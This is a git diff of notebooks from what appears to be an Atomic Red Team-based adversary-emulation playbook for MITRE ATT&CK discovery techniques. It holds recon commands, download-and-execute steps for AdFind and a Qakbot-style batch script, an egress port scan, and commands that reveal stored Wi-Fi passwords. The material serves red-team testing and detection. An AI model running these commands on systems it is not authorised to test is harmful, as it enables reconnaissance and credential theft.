\"HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\"\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\"\nGet-Item -Path \"HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\"\nGet-Item -Path \"HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\"\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit\"\nGet-Item -Path \"HKCU:Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\\Shell\"\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\\Shell\"\nGet-Item -Path \"HKLM:SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ShellServiceObjectDelayLoad\"\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\"\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\"\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\nGet-Item -Path \"HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\nGet-Item -Path \"HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\"\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\"\nGet-Item -Path \"HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\"\nGet-ChildItem -Path \"HKLM:system\\currentcontrolset\\services\" \nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\nGet-Item -Path \"HKLM:SYSTEM\\CurrentControlSet\\Control\\SafeBoot\"\nGet-ChildItem -Path \"HKLM:SOFTWARE\\Microsoft\\Active Setup\\Installed Components\"\nGet-ChildItem -Path \"HKLM:SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\Scripts\\Startup\"\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "2d9c3ad4", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1012 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "608e8140", + "metadata": {}, + "source": [ + "### Atomic Test #3 - Enumerate COM Objects in Registry with Powershell", "This test is designed to enumerate the COM objects listed in HKCR, then output their methods and CLSIDs to a text file.\nAn adversary could then use this information to identify COM objects that might be vulnerable to abuse, such as using them to spawn arbitrary processes. \nSee: https://www.mandiant.com/resources/hunting-com-objects", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", @@ -48,34 +69,34 @@ { "cell_type": "code", "execution_count": null, - "id": "7127153f", + "id": "96d259e5", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1012 -TestNumbers 2" + "source": "Invoke-AtomicTest T1012 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "ab0f946c", + "id": "bafee108", "metadata": {}, "source": "#### Cleanup: \n```powershell\nremove-item $env:temp\\T1592.002Test1.txt -force -erroraction silentlycontinue\nremove-item $env:temp\\clsids.txt -force -erroraction silentlycontinue \n```" }, { "cell_type": "code", "execution_count": null, - "id": "b359ecd6", + "id": "70841081", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1012 -TestNumbers 2 -Cleanup" + "source": "Invoke-AtomicTest T1012 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "f3e8962f", + "id": "20bf583e", "metadata": {}, "source": "## Detection\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nInteraction with the Windows Registry may come from the command line using utilities such as [Reg](https://attack.mitre.org/software/S0075) or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001)." }, { "cell_type": "markdown", - "id": "a6af532d", + "id": "33dfcf74", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy Content \n Seed content that can be used to lead an adversary in a specific direction, entice a behavior, etc. \n\n Decoy Content is the data used to tell a story to an adversary. This content can be legitimate or synthetic data which is used to reinforce or validate your defensive strategy. Examples of decoy content are files on a storage object, entries in the system registry, system shortcuts, etc.\n#### Opportunity\nThere is an opportunity for the defender to observe the adversary and control what they can see, what effects they can have, and/or what data they can access.\n#### Use Case\nA defender can create decoy registry objects and monitor access to them using Windows Registry Auditing.\n#### Procedures\nCreate directories and files with names and contents using key words that may be relevant to an adversary to see if they examine or exfiltrate the data.\nSeed a file system with content that is of no value to the company but reinforces the legitimacy of the system if viewed by an adversary.\n" } @@ -83,13 +104,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1016.001.ipynb b/playbook/tactics/discovery/T1016.001.ipynb index 67a11f39..6a5f3f0d 100644 --- a/playbook/tactics/discovery/T1016.001.ipynb +++ b/playbook/tactics/discovery/T1016.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "a4a890f9", + "id": "c2484dab", "metadata": {}, "source": "# T1016.001 - Internet Connection Discovery\nAdversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), tracert, and GET requests to websites.\n\nAdversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers." }, { "cell_type": "markdown", - "id": "c11c9f3a", + "id": "aad58277", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "4b74b1ea", + "id": "27ebc5c3", "metadata": {}, "source": "## Detection\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Command and Control, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to check Internet connectivity." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1016.002.ipynb b/playbook/tactics/discovery/T1016.002.ipynb new file mode 100644 index 00000000..19c975ce --- /dev/null +++ b/playbook/tactics/discovery/T1016.002.ipynb @@ -0,0 +1,38 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "05f090bb", + "metadata": {}, + "source": "# T1016.002 - Wi-Fi Discovery\nAdversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems. Adversaries may use Wi-Fi information as part of [Account Discovery](https://attack.mitre.org/techniques/T1087), [Remote System Discovery](https://attack.mitre.org/techniques/T1018), and other discovery or [Credential Access](https://attack.mitre.org/tactics/TA0006) activity to support both ongoing and future campaigns.\n\nAdversaries may collect various types of information about Wi-Fi networks from hosts. For example, on Windows names and passwords of all Wi-Fi networks a device has previously connected to may be available through `netsh wlan show profiles` to enumerate Wi-Fi names and then `netsh wlan show profile \u201cWi-Fi name\u201d key=clear` to show a Wi-Fi network\u2019s corresponding password.(Citation: BleepingComputer Agent Tesla steal wifi passwords)(Citation: Malware Bytes New AgentTesla variant steals WiFi credentials)(Citation: Check Point APT35 CharmPower January 2022) Additionally, names and other details of locally reachable Wi-Fi networks can be discovered using calls to `wlanAPI.dll` [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: Binary Defense Emotes Wi-Fi Spreader)\n\nOn Linux, names and passwords of all Wi-Fi-networks a device has previously connected to may be available in files under ` /etc/NetworkManager/system-connections/`.(Citation: Wi-Fi Password of All Connected Networks in Windows/Linux) On macOS, the password of a known Wi-Fi may be identified with ` security find-generic-password -wa wifiname` (requires admin username/password).(Citation: Find Wi-Fi Password on Mac)\n" + }, + { + "cell_type": "markdown", + "id": "4be36753", + "metadata": {}, + "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + }, + { + "cell_type": "markdown", + "id": "cf51a9c1", + "metadata": {}, + "source": "## Detection\nThis type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features." + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/discovery/T1016.ipynb b/playbook/tactics/discovery/T1016.ipynb index afa169cd..46901dda 100644 --- a/playbook/tactics/discovery/T1016.ipynb +++ b/playbook/tactics/discovery/T1016.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "c2d4f054", + "id": "ff85402f", "metadata": {}, "source": "# T1016 - System Network Configuration Discovery\nAdversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).\n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes (e.g. show ip route, show ip interface).(Citation: US-CERT-TA18-106A)(Citation: Mandiant APT41 Global Intrusion )\n\nAdversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. " }, { "cell_type": "markdown", - "id": "807388bf", + "id": "1a2c00ce", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "f7b6fdca", + "id": "1154ac59", "metadata": {}, "source": [ "### Atomic Test #1 - System Network Configuration Discovery on Windows", @@ -27,14 +27,14 @@ { "cell_type": "code", "execution_count": null, - "id": "ffe88107", + "id": "ded97a64", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1016 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "0cc4c090", + "id": "46110dc0", "metadata": {}, "source": [ "### Atomic Test #2 - List Windows Firewall Rules", @@ -47,45 +47,45 @@ { "cell_type": "code", "execution_count": null, - "id": "e6ff0070", + "id": "a0cf8a6b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1016 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "0eddf942", + "id": "f6017dcd", "metadata": {}, - "source": "### Atomic Test #3 - System Network Configuration Discovery\nIdentify network configuration information.\n\nUpon successful execution, sh will spawn multiple commands and output will be via stdout.\n\n**Supported Platforms:** macos, linux\n#### Dependencies: Run with `sh`!\n##### Description: Check if arp command exists on the machine\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v arp)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\n(which yum && yum -y install net-tools)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y net-tools)\n\n```" + "source": "### Atomic Test #3 - System Network Configuration Discovery\nIdentify network configuration information.\nUpon successful execution, sh will spawn multiple commands and output will be via stdout.\n\n**Supported Platforms:** macos, linux\n#### Dependencies: Run with `sh`!\n##### Description: Check if arp command exists on the machine\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v arp)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\n(which yum && yum -y install net-tools)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y net-tools)\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "428908b7", + "id": "bc5c26c7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1016 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "fd850fdb", + "id": "1c9f260d", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", - "```sh\nif [ -x \"$(command -v arp)\" ]; then arp -a; else echo \"arp is missing from the machine. skipping...\"; fi;\nif [ -x \"$(command -v ifconfig)\" ]; then ifconfig; else echo \"ifconfig is missing from the machine. skipping...\"; fi;\nif [ -x \"$(command -v ip)\" ]; then ip addr; else echo \"ip is missing from the machine. skipping...\"; fi;\nif [ -x \"$(command -v netstat)\" ]; then netstat -ant | awk '{print $NF}' | grep -v '[a-z]' | sort | uniq -c; else echo \"netstat is missing from the machine. skipping...\"; fi;\n```" + "```sh\nif [ \"$(uname)\" = 'FreeBSD' ]; then cmd=\"netstat -Sp tcp\"; else cmd=\"netstat -ant\"; fi;\nif [ -x \"$(command -v arp)\" ]; then arp -a; else echo \"arp is missing from the machine. skipping...\"; fi;\nif [ -x \"$(command -v ifconfig)\" ]; then ifconfig; else echo \"ifconfig is missing from the machine. skipping...\"; fi;\nif [ -x \"$(command -v ip)\" ]; then ip addr; else echo \"ip is missing from the machine. skipping...\"; fi;\nif [ -x \"$(command -v netstat)\" ]; then $cmd | awk '{print $NF}' | grep -v '[[:lower:]]' | sort | uniq -c; else echo \"netstat is missing from the machine. skipping...\"; fi;\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "735da70b", + "id": "1a5105a5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1016 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "626fcb04", + "id": "e796f23a", "metadata": {}, "source": [ "### Atomic Test #4 - System Network Configuration Discovery (TrickBot Style)", @@ -98,121 +98,121 @@ { "cell_type": "code", "execution_count": null, - "id": "0fe950b0", + "id": "620fddaa", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1016 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "4f886e2b", + "id": "20dfc7be", "metadata": {}, - "source": "### Atomic Test #5 - List Open Egress Ports\nThis is to test for what ports are open outbound. The technique used was taken from the following blog:\nhttps://www.blackhillsinfosec.com/poking-holes-in-the-firewall-egress-testing-with-allports-exposed/\n\nUpon successful execution, powershell will read top-128.txt (ports) and contact each port to confirm if open or not. Output will be to Desktop\\open-ports.txt.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Test requires #{port_file} to exist\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1016\\src\\top-128.txt\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1016\\src\\top-128.txt) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1016/src/top-128.txt\" -OutFile \"PathToAtomicsFolder\\T1016\\src\\top-128.txt\"\n\n```" + "source": "### Atomic Test #5 - List Open Egress Ports\nThis is to test for what ports are open outbound. The technique used was taken from the following blog:\nhttps://www.blackhillsinfosec.com/poking-holes-in-the-firewall-egress-testing-with-allports-exposed/\n\nUpon successful execution, powershell will read top-128.txt (ports) and contact each port to confirm if open or not. Output will be to Desktop\\open-ports.txt.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Test requires #{port_file} to exist\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1016\\src\\top-128.txt\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1016\\src\\top-128.txt\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1016/src/top-128.txt\" -OutFile \"PathToAtomicsFolder\\T1016\\src\\top-128.txt\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "35f1f231", + "id": "a385fddb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1016 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "fdca5b93", + "id": "0cdd7e61", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\n$ports = Get-content PathToAtomicsFolder\\T1016\\src\\top-128.txt\n$file = \"$env:USERPROFILE\\Desktop\\open-ports.txt\"\n$totalopen = 0\n$totalports = 0\nNew-Item $file -Force\nforeach ($port in $ports) {\n $test = new-object system.Net.Sockets.TcpClient\n $wait = $test.beginConnect(\"allports.exposed\", $port, $null, $null)\n $wait.asyncwaithandle.waitone(250, $false) | Out-Null\n $totalports++ | Out-Null\n if ($test.Connected) {\n $result = \"$port open\" \n Write-Host -ForegroundColor Green $result\n $result | Out-File -Encoding ASCII -append $file\n $totalopen++ | Out-Null\n }\n else {\n $result = \"$port closed\" \n Write-Host -ForegroundColor Red $result\n $totalclosed++ | Out-Null\n $result | Out-File -Encoding ASCII -append $file\n }\n}\n$results = \"There were a total of $totalopen open ports out of $totalports ports tested.\"\n$results | Out-File -Encoding ASCII -append $file\nWrite-Host $results\n```" + "```powershell\n$ports = Get-content \"PathToAtomicsFolder\\T1016\\src\\top-128.txt\"\n$file = \"$env:USERPROFILE\\Desktop\\open-ports.txt\"\n$totalopen = 0\n$totalports = 0\nNew-Item $file -Force\nforeach ($port in $ports) {\n $test = new-object system.Net.Sockets.TcpClient\n $wait = $test.beginConnect(\"allports.exposed\", $port, $null, $null)\n $wait.asyncwaithandle.waitone(250, $false) | Out-Null\n $totalports++ | Out-Null\n if ($test.Connected) {\n $result = \"$port open\" \n Write-Host -ForegroundColor Green $result\n $result | Out-File -Encoding ASCII -append $file\n $totalopen++ | Out-Null\n }\n else {\n $result = \"$port closed\" \n Write-Host -ForegroundColor Red $result\n $totalclosed++ | Out-Null\n $result | Out-File -Encoding ASCII -append $file\n }\n}\n$results = \"There were a total of $totalopen open ports out of $totalports ports tested.\"\n$results | Out-File -Encoding ASCII -append $file\nWrite-Host $results\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "b8425584", + "id": "41e17f8f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1016 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "9c916021", + "id": "df82fa0b", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item -ErrorAction ignore \"$env:USERPROFILE\\Desktop\\open-ports.txt\"\n```" }, { "cell_type": "code", "execution_count": null, - "id": "92c00bfb", + "id": "1961f6cc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1016 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "2bada745", + "id": "b94f57cf", "metadata": {}, - "source": "### Atomic Test #6 - Adfind - Enumerate Active Directory Subnet Objects\nAdfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Subnet Objects\nreference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: AdFind.exe must exist on disk at specified location (#{adfind_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1087.002\\src\\AdFind.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe\" -OutFile PathToAtomicsFolder\\T1087.002\\src\\AdFind.exe\n\n```" + "source": "### Atomic Test #6 - Adfind - Enumerate Active Directory Subnet Objects\nAdfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Subnet Objects\nreference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe)\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "68a58f75", + "id": "dd73a377", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1016 -TestNumbers 6 -GetPreReqs" }, { "cell_type": "markdown", - "id": "8ea4735a", + "id": "7258b685", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nPathToAtomicsFolder\\T1087.002\\src\\AdFind.exe -f (objectcategory=subnet)\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\" -f (objectcategory=subnet)\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "e3bcaa3b", + "id": "ee6893e0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1016 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "dffba12e", + "id": "825b76fe", "metadata": {}, - "source": "### Atomic Test #7 - Qakbot Recon\nA list of commands known to be performed by Qakbot for recon purposes\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: File to copy must exist on disk at specified location (#{recon_commands})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1016\\src\\qakbot.bat) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1016\\src\\qakbot.bat) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1016/src/qakbot.bat\" -OutFile \"PathToAtomicsFolder\\T1016\\src\\qakbot.bat\"\n\n```" + "source": "### Atomic Test #7 - Qakbot Recon\nA list of commands known to be performed by Qakbot for recon purposes\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: File to copy must exist on disk at specified location (#{recon_commands})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1016\\src\\qakbot.bat\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1016\\src\\qakbot.bat\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1016/src/qakbot.bat\" -OutFile \"PathToAtomicsFolder\\T1016\\src\\qakbot.bat\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6969a973", + "id": "ce444580", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1016 -TestNumbers 7 -GetPreReqs" }, { "cell_type": "markdown", - "id": "197326a5", + "id": "216c1fa4", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nPathToAtomicsFolder\\T1016\\src\\qakbot.bat\n```" + "```command_prompt\n\"PathToAtomicsFolder\\T1016\\src\\qakbot.bat\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "3de7feb6", + "id": "2224bae6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1016 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "6f57227e", + "id": "e8ca0f9f", "metadata": {}, "source": [ "### Atomic Test #8 - List macOS Firewall Rules", @@ -226,40 +226,40 @@ { "cell_type": "code", "execution_count": null, - "id": "db1fd084", + "id": "fb6fad53", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1016 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "0966b735", + "id": "c3e2fe2c", "metadata": {}, "source": [ "### Atomic Test #9 - DNS Server Discovery Using nslookup", "Identify System domain dns controller on an endpoint using nslookup ldap query. This tool is being abused by qakbot malware to gather information on the domain\ncontroller of the targeted or compromised host. reference https://securelist.com/qakbot-technical-analysis/103931/\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nnslookup -querytype=ALL -timeout=12 _ldap._tcp.dc._msdcs.$env:USERDNSDOMAIN\n```" + "```command_prompt\nnslookup -querytype=ALL -timeout=12 _ldap._tcp.dc._msdcs.%USERDNSDOMAIN%\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "27d3a4c6", + "id": "3e467ac7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1016 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "ebbc4749", + "id": "961ac364", "metadata": {}, "source": "## Detection\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, {{LinkById|T1059.008} commands may also be used to gather system and network information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001)." }, { "cell_type": "markdown", - "id": "2b5ae653", + "id": "ec95a73f", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy Content \n Seed content that can be used to lead an adversary in a specific direction, entice a behavior, etc. \n\n Decoy Content is the data used to tell a story to an adversary. This content can be legitimate or synthetic data which is used to reinforce or validate your defensive strategy. Examples of decoy content are files on a storage object, entries in the system registry, system shortcuts, etc.\n#### Opportunity\nThere is an opportunity to influence an adversary to move toward systems you want them to engage with.\n#### Use Case\nA defender can create breadcrumbs or honeytokens to lure the attackers toward the decoy systems or network services.\n#### Procedures\nCreate directories and files with names and contents using key words that may be relevant to an adversary to see if they examine or exfiltrate the data.\nSeed a file system with content that is of no value to the company but reinforces the legitimacy of the system if viewed by an adversary.\n" } @@ -267,13 +267,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1018.ipynb b/playbook/tactics/discovery/T1018.ipynb index 5c7dbc82..dddf8eb2 100644 --- a/playbook/tactics/discovery/T1018.ipynb +++ b/playbook/tactics/discovery/T1018.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "0e117bec", + "id": "858d1fa3", "metadata": {}, "source": "# T1018 - Remote System Discovery\nAdversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or net view using [Net](https://attack.mitre.org/software/S0039).\n\nAdversaries may also analyze data from local host files (ex: C:\\Windows\\System32\\Drivers\\etc\\hosts or /etc/hosts) or other passive means (such as local [Arp](https://attack.mitre.org/software/S0099) cache entries) in order to discover the presence of remote systems in an environment.\n\nAdversaries may also target discovery of network infrastructure as well as leverage [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands on network devices to gather detailed information about systems within a network (e.g. show cdp neighbors, show arp).(Citation: US-CERT-TA18-106A)(Citation: CISA AR21-126A FIVEHANDS May 2021) \n" }, { "cell_type": "markdown", - "id": "e69ace08", + "id": "672f235d", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "1f8a06a5", + "id": "fc9f2147", "metadata": {}, "source": [ "### Atomic Test #1 - Remote System Discovery - net", @@ -27,14 +27,14 @@ { "cell_type": "code", "execution_count": null, - "id": "62bb67e2", + "id": "a13628f4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1018 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "6521c4fe", + "id": "3359f7f9", "metadata": {}, "source": [ "### Atomic Test #2 - Remote System Discovery - net group Domain Computers", @@ -47,14 +47,14 @@ { "cell_type": "code", "execution_count": null, - "id": "a423b7cf", + "id": "85106145", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1018 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "070b4888", + "id": "efadedc5", "metadata": {}, "source": [ "### Atomic Test #3 - Remote System Discovery - nltest", @@ -67,14 +67,14 @@ { "cell_type": "code", "execution_count": null, - "id": "e4e52d94", + "id": "35842ba7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1018 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "de674f98", + "id": "664d073c", "metadata": {}, "source": [ "### Atomic Test #4 - Remote System Discovery - ping sweep", @@ -87,14 +87,14 @@ { "cell_type": "code", "execution_count": null, - "id": "9975de6b", + "id": "1f7f1fc4", 